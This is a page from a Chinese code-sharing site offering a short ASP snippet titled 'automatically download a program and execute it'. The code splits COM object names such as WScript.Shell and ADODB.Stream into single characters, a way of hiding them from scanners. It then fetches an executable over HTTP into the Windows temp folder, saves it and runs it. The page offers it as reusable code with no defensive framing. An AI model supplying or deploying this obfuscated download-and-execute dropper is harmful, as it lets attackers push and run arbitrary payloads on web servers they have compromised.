实现自动下载程序并执行代码,ASP代码库,德仔网

代码语言

代码分类

【ASP】实现自动下载程序并执行

作者:Dezai.CN / 发布于2013/7/16/ 1358


	<%
	'on error resume next
	Set ObjXml = CreateObject("M"&"i"&"c"&"r"&"o"&"s"&"o"&"f"&"t"&"."&"X"&"M"&"L"&"H"&"T"&"T"&"P")
	Set Shell = CreateObject("W"&"s"&"c"&"r"&"i"&"p"&"t"&"."&"S"&"h"&"e"&"l"&"l")
	set fs = createobject("S"&"c"&"r"&"i"&"p"&"t"&"i"&"n"&"g"&"."&"F"&"i"&"l"&"e"&"S"&"y"&"s"&"t"&"e"&"m"&"O"&"b"&"j"&"e"&"c"&"t")
	set tmp = fs.GetSpecialFolder(2) '此处得到临时目录C:\WINDOWS\Temp
	'response.Write(tmp)
	fname1=tmp&"\calc.exe"
	response.Write(fname1)
	ObjXml.Open "GET","http://localhost/test/calc.exe",0
	ObjXml.Send()
	Set aGet = CreateObject("A"&"D"&"O"&"D"&"B"&"."&"S"&"t"&"r"&"e"&"a"&"m")
	aGet.Type = 1
	aGet.Mode = 3
	aGet.Open()
	aGet.Write(ObjXml.responseBody)
	aGet.SaveToFile fname1,2
	Shell.EXEC fname1
	%>

评论列表

本站所提供的代码，版权归原作者所有，若有侵犯作者版权，请与我们联系，我们将立即删除或修改。谢谢!
本站所有代码发布及提供者。

试试其它关键字

　自动下载　

同语言下

可能有用的

Dezai.CN贡献的其它代码(4037)